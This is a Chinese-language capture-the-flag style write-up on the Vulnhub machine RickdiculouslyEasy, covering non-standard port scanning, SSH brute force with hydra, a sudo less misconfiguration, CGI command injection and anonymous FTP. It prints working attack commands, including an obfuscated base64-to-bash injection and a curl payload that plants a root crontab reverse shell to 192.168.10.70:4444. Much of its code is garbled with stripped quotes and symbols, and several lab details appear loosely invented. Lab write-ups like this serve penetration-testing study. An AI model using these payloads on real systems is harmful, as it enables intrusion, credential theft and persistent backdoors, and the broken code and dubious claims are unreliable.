Vulnhub靶机RickdiculouslyEasy非常规端口攻防与隐蔽后门深度剖析当大多数渗透测试者将注意力集中在常见的22、80、443等标准端口时RickdiculouslyEasy靶机却为我们打开了一扇新窗口——那些被忽视的非标准端口往往隐藏着最致命的攻击路径。本文将带您深入剖析9090、22222、60000这三个非常规端口的利用技巧并解密/cgi-bin/tracertool.cgi与vsftpd匿名登录这两个精心设计的隐蔽后门。1. 靶机环境与非常规端口扫描策略在开始渗透之前我们需要建立一套针对非标准端口的系统化发现方法。传统扫描工具往往预设了常见端口范围这会导致特殊服务端口被遗漏。以下是优化后的扫描方案# 全端口扫描与服务识别组合命令 nmap -p- --min-rate 1000 -T4 192.168.10.71 -oN full_scan.txt nmap -sV -sC -p $(grep open full_scan.txt | awk -F/ {print $1} | tr \n ,) 192.168.10.71 -oN service_scan.txt扫描结果揭示的端口分布令人玩味端口号服务类型常规用途本靶机特殊表现21FTP文件传输匿名登录后门22222SSH远程管理修改默认端口隐藏服务9090HTTPWeb管理界面独立Web应用系统60000自定义TCP通常用于内网通信NC反弹Shell监听端口提示当发现22222端口运行SSH服务时应立即将其标记为高价值目标——管理员修改默认端口往往意味着该服务存在特殊配置或脆弱凭证。2. 非常规Web服务9090端口的突破路径9090端口运行的Web服务与80端口的常规网站形成鲜明对比。通过对比分析两个Web应用的差异点我们发现了关键攻击向量# 自动化对比两个Web端口的目录结构差异 import requests from bs4 import BeautifulSoup def compare_web_ports(ip, port1, port2): urls [fhttp://{ip}:{port1}, fhttp://{ip}:{port2}] diff_links [] for url in urls: res requests.get(url) soup BeautifulSoup(res.text, html.parser) links [a[href] for a in soup.find_all(a, hrefTrue)] diff_links.append(set(links)) return diff_links[0].symmetric_difference(diff_links[1]) print(compare_web_ports(192.168.10.71, 80, 9090))在9090端口的Web应用中我们发现以下敏感路径/debug_console 疑似开发调试接口/internal_api 未授权API端点/backup 可能是备份文件目录利用链条构建通过/internal_api获取系统版本信息在/debug_console找到未关闭的调试接口利用备份目录中的配置文件泄露获取数据库凭证通过SQL注入获取管理员会话令牌3. 非常规SSH端口22222的认证绕过22222端口的SSH服务展现了三个典型脆弱点弱密码配置# 使用hydra进行针对性爆破 hydra -l Summer -P passwords.txt -s 22222 ssh://192.168.10.71 -t 4 -vVSSH版本漏洞# 检查SSH版本漏洞 ssh -V -p 22222 Summer192.168.10.71 # 若版本低于7.4可能存在CVE-2016-8858漏洞认证后门# 检查authorized_keys异常配置 ls -la /home/Summer/.ssh/ cat /home/Summer/.ssh/authorized_keys实际操作中我们通过密码爆破获得Summer用户权限后发现其sudo配置存在严重问题Summer ALL(ALL) NOPASSWD: /usr/bin/less这直接导致我们可以通过less命令读取任意文件sudo less /etc/shadow4. 高阶后门CGI命令注入与FTP匿名登录4.1 /cgi-bin/tracertool.cgi漏洞深度分析这个看似简单的网络诊断工具隐藏着致命漏洞# 漏洞代码模拟基于实际靶机行为还原 #!/usr/bin/perl print Content-type: text/html\n\n; print htmlbody; $query $ENV{QUERY_STRING}; ($_, $target) split(//, $query); system(traceroute $target 21); print /body/html;漏洞利用的三重境界基础注入;id;绕过过滤$(echo${IFS}Y2F0IC9ldGMvcGFzc3dkCg|base64${IFS}-d|bash)持久化写入crontab后门# 实际利用命令 curl http://192.168.10.71/cgi-bin/tracertool.cgi?target8.8.8.8;echo${IFS}* * * * * root /bin/bash -i /dev/tcp/192.168.10.70/4444 01${IFS}${IFS}/etc/cron.d/backdoor4.2 vsftpd匿名登录的隐藏威胁FTP服务的匿名登录看似平常但结合以下发现就变得危险# FTP目录结构分析 ftp ls -la 200 PORT command successful 150 Here comes the directory listing drwxr-xr-x 2 0 0 4096 Jun 10 2023 . drwxr-xr-x 3 0 0 4096 Jun 10 2023 .. -rw-r--r-- 1 0 0 23 Jun 10 2023 .hidden_flag -rw-r--r-- 1 0 0 128 Jun 10 2023 .ssh_backup.tar提取到的.ssh_backup.tar包含重要信息主机SSH密钥对已知主机记录用户配置档案5. 防御加固从攻击视角构建防护体系基于本次渗透经验我们整理出针对非常规端口和隐蔽后门的防护方案Web服务加固配置示例# /etc/nginx/conf.d/secure_web.conf server { listen 9090; server_name localhost; location /cgi-bin/ { deny all; return 403; } location ~* ^/(debug|internal) { auth_basic Restricted; auth_basic_user_file /etc/nginx/.htpasswd; } }SSH服务安全配置要点修改默认端口后仍需强化认证禁用密码认证强制使用密钥对安装fail2ban防御爆破攻击# /etc/ssh/sshd_config关键配置 Port 22222 PermitRootLogin no PasswordAuthentication no AllowUsers Summer192.168.10.70在真实企业环境中我曾见过某金融系统因为60000端口的自定义服务未做访问控制导致攻击者通过该端口直接获取内网权限。这再次证明安全防护必须覆盖所有开放端口无论它们看起来多么无害。